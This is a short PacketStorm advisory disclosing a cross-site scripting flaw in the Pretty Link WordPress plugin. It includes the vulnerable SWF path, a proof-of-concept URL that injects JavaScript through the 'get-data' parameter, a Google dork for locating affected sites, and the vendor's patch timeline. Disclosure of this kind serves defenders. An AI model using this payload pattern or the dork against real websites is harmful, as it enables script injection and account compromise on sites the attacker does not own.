WordPress Pretty Link 1.6.3 Cross Site Scripting

[Praetorian503]

WordPress Pretty Link plugin version 1.6.3 suffers from a cross site scripting vulnerability.

# Exploit Title: Wordpress pretty-link? plugin XSS in SWF
# Release Date: 20/02/13
# Author: hip [Insight-Labs]
# Contact: hip@insight-labs.org | Website: http://insight-labs.org
# Software Link: http://downloads.wordpress.org/plugin/pretty-link.1.6.3.zip
# Vendor Homepage: http://prettylinkpro.com/
# Tested on: XPsp3
# Affected version: 1.6.3 before
# Google Dork: inurl:/wp-content/plugins/pretty-link/
# REF:CVE-2013-1636
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# Introduction:
Pretty-link is Shrink, beautify, track, manage and share any URL on or off of your WordPress website. Create links that look how you want using your own domain name!
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# XSS - Proof Of Concept:
vulnerable path:
/wp-content/plugins/pretty-link/includes/version-2-kvasir/open-flash-chart.swf
vulnerabile parameter:get-data

POC:
/wp-content/plugins/pretty-link/includes/version-2-kvasir/open-flash-chart.swf?get-data=(function(){alert(xss)})()

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# Patch:
-- Vendor was notified on the 23/01/2013
-- Vendor released version 1.6.3 on 25/01/2013 Fixed the bug
-- REF:http://wordpress.org/extend/plugins/pretty-link/changelog/
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Source: PacketStorm